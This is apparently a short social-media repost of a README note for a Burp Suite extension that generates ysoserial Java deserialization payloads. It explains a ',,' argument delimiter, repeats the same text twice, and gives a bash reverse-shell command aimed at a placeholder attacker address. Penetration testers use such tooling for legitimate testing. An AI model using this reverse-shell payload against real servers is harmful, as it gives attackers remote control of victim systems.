welcome back to war! thursday, 12.46 pm...let's move on Note ysoserial in this extension has been updated to accept more complicated commands that in the original. For instance commands like the following command would fail to execute on the victim server in the original ysoserial application. echo test > /tmp/text.txt or bash -c "echo test > /tmp/text.txt" This is because to run complex commands that pipe command into other commands in java the arguments needs to be a string Array. This version of ysoserial has been modified by using a delimter of ",," to seperate your arguments to the string array. Here is an example of running a more complicated command using this method to get a reverse shell: /bin/bash,,-c,,bash -i >& /dev/tcp/X.X.X.X/9997 0>&1

Note ysoserial in this extension has been updated to accept more complicated commands that in the original. For instance commands like the following command would fail to execute on the victim server in the original ysoserial application.
echo test > /tmp/text.txt or bash -c "echo test > /tmp/text.txt"
This is because to run complex commands that pipe command into other commands in java the arguments needs to be a string Array. This version of ysoserial has been modified by using a delimter of ",," to seperate your arguments to the string array. Here is an example of running a more complicated command using this method to get a reverse shell:
/bin/bash,,-c,,bash -i >& /dev/tcp/X.X.X.X/9997 0>&1

source

GITHUB.COM

PortSwigger/java-serialized-payloads

YSOSERIAL Integration with burp suite. Contribute to PortSwigger/java-serialized-payloads development by creating an account on GitHub.